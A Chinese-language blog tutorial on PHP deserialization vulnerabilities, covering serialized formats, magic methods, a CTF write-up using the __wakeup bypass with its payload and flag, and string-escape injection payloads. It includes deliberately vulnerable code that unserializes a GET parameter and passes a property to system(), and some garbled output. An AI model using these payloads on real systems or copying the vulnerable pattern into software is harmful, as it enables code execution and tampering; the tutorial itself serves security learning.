反序列化

反序列化

漏洞原理:

通过构造一个包含魔术方法的类,然后在魔术方法中调用命令执行或代码执行函数,接着实例化这个类的一个对象 并将该对象序列化后传递给程序,当程序反序列化该对象时触发魔术方法从而执行命令或代码

serialize函数输出格式:

NULL被序列化为:N

Boolean型数据序列化为:b:1,b:0,分别代表True和False

Integer型数据序列化为:i:数值

String型数据序列化为:s:长度:"值"

对象序列化为:O:类名长度:类名:字段数:字段

PHP中常用魔术方法:

__construct:当对象被创建时调用

__destruct:当对象被销毁前调用

__sleep:执行serialize函数前调用

__wakeup:执行unserialize函数前调用

__call:在对象中调用不可访问的方法时调用

__callStatic:用静态方法调用不可访问方法时调用

__get:获得类成因变量时调用

__set:设置类成员变量时调用

创建类并实例化对象

对象序列化后的结构为:

O:对象名的长度:"对象名":对象属性个数:{s:属性名的长度:"属性名";s:属性值的长度:"属性值";}

公有变量a,保护变量b,私有变量c

a是public类型的变量,s表示字符串,1表示变量名的长度,a是变量名。
b是protected类型的变量,它的变量名长度为4,也就是b前添加了%00%00。所以,protected属性的表示方式是在变量名前加上%00*%00。
c是private类型的变量,c的变量名前添加了%00类名%00。所以,private属性的表示方式是在变量名前加上%00类名%00。

<?php
class A{   //定义类
    var $test = "Hello";
    function __construct()
    {
        print"<h1>ABCD</h1>";
    }
}
$a=new A();   //实例化一个对象a
print "Serialize Object A:".serialize($a);   //序列化对象a

输出结果

<h1>ABCD</h1>Serialize Object A:O:1:"A":1:{s:4:"test";s:5:"Hello";}

定义以一个包含魔术方法__desttruct的类A 实例化一个对象并输出序列化后的数据 在对象销毁时 程序会调用system函数执行df命令 通过GET方法传参arg给服务器进行反序列化

<?php
class A{   //定义类
    var $test = "df";   //设置变量值为df
    function __destruct(){   //定义析构函数,在类A销毁时执行system("df")
        print "Exec  ute CMD:".$this->test;
        print "Result";
        system($this->test);
    }

}
$a=new A();   //实例化一个对象a
print "Serialize Object A:".serialize($a);   //序列化对象a
$arg = $_GET['arg'];   //GET方式获取参数arg的值
$a_user = unserialize($arg);   //反序列化参数arg的值

输出结果

Serialize Object A:O:1:"A":1:{s:4:"test";s:2:"df";}Exec  ute CMD:dfResult'df' �����ڲ����ⲿ���Ҳ���ǿ����еij���
���������ļ���

栗子:

<?php
class A{
    var $a ="a";
    var $b = "b\r\n";

    function __construct(){
        $this->a = "123";
        echo "初始化时调用\r\n";
    }
    function __destruct(){
        echo "销毁时调用--";
        echo $this->a . "\r\n";
    }
}
$b = new A();
#$ser serialize($b);
#echo $ser;
$ser_test ='O:1:"A":1:{s:1:a"a";s:4:"test";}';
$user = unserialize($ser_test);
echo $b->b;
?>

输出结果

初始化时调用
销毁时调用--a
b
销毁时调用--123

解析:先把A类实例化为$b,触发构造函数__construct(),打印了‘初始化时调用’,并把$a设置成了123

运行后,这里的反序列化不会有任何输出,因为他没有调用构造函数也没销毁,但是生成了一个A类的反序列化对象

echo $b->b这,输出此时实例化的对象$b->b的值,也就是b

脚本结束,先销毁反序列化对象user,输出销毁时调用,此时反序列化对象的$a是test,接着销毁实例化对象$b,也是同理

wakeup绕过

[极客大挑战 2019]PHP 反序列化,wakeup绕过

分析源代码,当password为100,且username为admin才能输出flag值

先序列化对应的Name对象和他的成员值得信息,然后将序列化的结果放入主页的select传参值进行反序列化 获得flag

private为私有成员,成员变量名字前需要加%00类名%00 所以导致在正常显示中看不到,

wakeup绕过:在反序列化时,如果表示对象的成员数目的值大于原来的的数目就会跳过__wakeup( )的执行

<?php
class Name {
    private $username  = '';
    private $password  = '';

    public function __construct($username,$password){
        $this ->username = $username;
        $this ->password = $password;
    }
}

$a = new Name('admin','100');
echo serialize($a)."\n";
echo urlencode(serialize($a));

输出

O:4:"Name":2:{s:14:" Name username";s:5:"admin";s:14:" Name password";s:3:"100";}
O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D

所以将成员数目指的2改为3 就能绕过

select=O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D
flag{0e0c7855-adef-47a4-a2a6-1d647987b420}

反序列化逃逸

底层代码以 ; 作为字段的分隔,以 } 作为结尾 且有一定长度,是根据长度判断内容的

反序列化字符串都是以“;}结束 可以提前闭合 超出闭合部分不会被反序列化成功

可以反序列化类中不存在的元素

<?php
function filter($str)
{
    return str_replace('bb', 'ccc', $str);
}
class A
{
    public $name = 'aaaa';
    public $pass = '123456';
}
$AA = new A();
echo serialize($AA) . "\n";
$res = filter(serialize($AA));
echo $res."\n";
$c=unserialize($res);
var_dump($c);
?>

输出结果

O:1:"A":2:{s:4:"name";s:4:"aaaa";s:4:"pass";s:6:"123456";}
O:1:"A":2:{s:4:"name";s:4:"aaaa";s:4:"pass";s:6:"123456";}
object(A)#2 (2) {
  ["name"]=>
  string(4) "aaaa"
  ["pass"]=>
  string(6) "123456"
}

字符变多

举个栗子

要让打印出来的pass是hacker而不是123456

<?php
function filter($str){
    return str_replace('bb','ccc',$str);
}
class A{
    public $name='aaaa';
    public $pass='123456';
}
$AA=new A();
echo serialize($AA)."\n";
$res=filter(serialize($AA));

$c=unserialize($res);
echo $c->pass;
?>

输出结果
O:1:"A":2:{s:4:"name";s:4:"aaaa";s:4:"pass";s:6:"123456";}
123456

如果将name变量中添加bb则报错,因为bb将被filter函数替换成ccc,ccc的长度比bb字符多1个,字符串长度为3 与实际长度2不符

<?php
function filter($str){
    return str_replace('bb','ccc',$str);
}
class A{
    public $name='aaaabb';
    public $pass='123456';
}
$AA=new A();
echo serialize($AA)."\n";
$res=filter(serialize($AA));
echo $res;
$c=unserialize($res);
echo $c->pass;

输出结果
O:1:"A":2:O:1:"A":2:{s:4:"name";s:6:"aaaabb";s:4:"pass";s:6:"123456";}
O:1:"A":2:{s:4:"name";s:6:"aaaaccc";s:4:"pass";s:6:"123456";}
                                      

过滤前,s为6,内容为aaaabb;经过filter过滤后,s仍然为6,但内容变为了aaaaccc,长度变成7,此时的name能读取到的只是aaaacc,末尾处的那个c是读取不到的,逃出一个字符 每添加一个bb 就能逃逸一个字符

<?php
function filter($str){
    return str_replace('bb','ccc',$str);
}
class A{
    public $name='bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:6:"hacker";}';
    public $pass='123456';
}
$AA=new A();
//echo serialize($AA)."\n";
$res=filter(serialize($AA));
echo $res."\n";
$c=unserialize($res);
print_r($c)."\n";
echo $c->pass;
?>
输出结果
O:1:"A":2:{s:4:"name";s:81:"ccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc";s:4:"pass";s:6:"hacker";}";s:4:"pass";s:6:"123456";}
A Object
(
    [name] => ccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
    [pass] => hacker
)
hacker

逃逸成功

字符减少

<?php
class A{
    public $v1 = "abcsystem()";
    public $v2= "123";
}
$data=serialize(new A());//实体化对象a 并且进行序列化 赋值给data

$b = 'O:1:"A":2:{s:2:"v1";s:11:"abcsystem()";s:2:"v2";s:3:"123";}';
$data=str_replace("system()","",$data);//str_replace是只要出现system()就删除
var_dump(unserialize($data));//反序列化 
O:1:"A":2:{s:2:"v1";s:?:"abcsystem()";s:2:"v2";s:3:"123";}

让前面的全部被?吃掉,修改字符串补全格式,并使后面的字符串变成功能性代码(需要吃掉前面的20个字符)

O:1:"A":2:{s:2:"v1";s:?:"abcsystem()";s:2:"v2";s:??:";s:2:"v3";N;}

吃掉一个system()8个,加上abc最少要吃掉2个system(),一共吃掉27个,多吃掉7个,所以需要在v2里补充7个字符

O:1:"A":2:{s:2:"v1";s:27:"abcsystem()system()system()";s:2:"v2";s:21:"1234567";s:2:"v3";N;}
O:1:"A":2:{s:2:"v1";s:27:"abc";s:2:"v2";s:21:"1234567";s:2:"v3";N;}

完整的逃逸

<?php
class A{
    public $v1 = "abcsystem()system()system()";
    public $v2= '1234567";s:2:"v3";s:3:"123";}';
}
$data=serialize(new A());//实体化对象a 并且进行序列化 赋值给data

$b = 'O:1:"A":2:{s:2:"v1";s:27:"abcsystem()system()system()";s:2:"v2";s:21:"1234567";s:2:"v3";N;}';
$data=str_replace("system()","",$data);//str_replace是只要出现system()就删除
var_dump(unserialize($data));//反序列化

输出结果
object(A)#1 (3) {
  ["v1"]=>
  string(27) "abc";s:2:"v2";s:29:"1234567"
  ["v2"]=>
  string(29) "1234567";s:2:"v3";s:3:"123";}"
  ["v3"]=>
  string(3) "123"
}
posted @ 2024-03-09 15:43  Yolololololo  阅读(34)  评论(0编辑  收藏  举报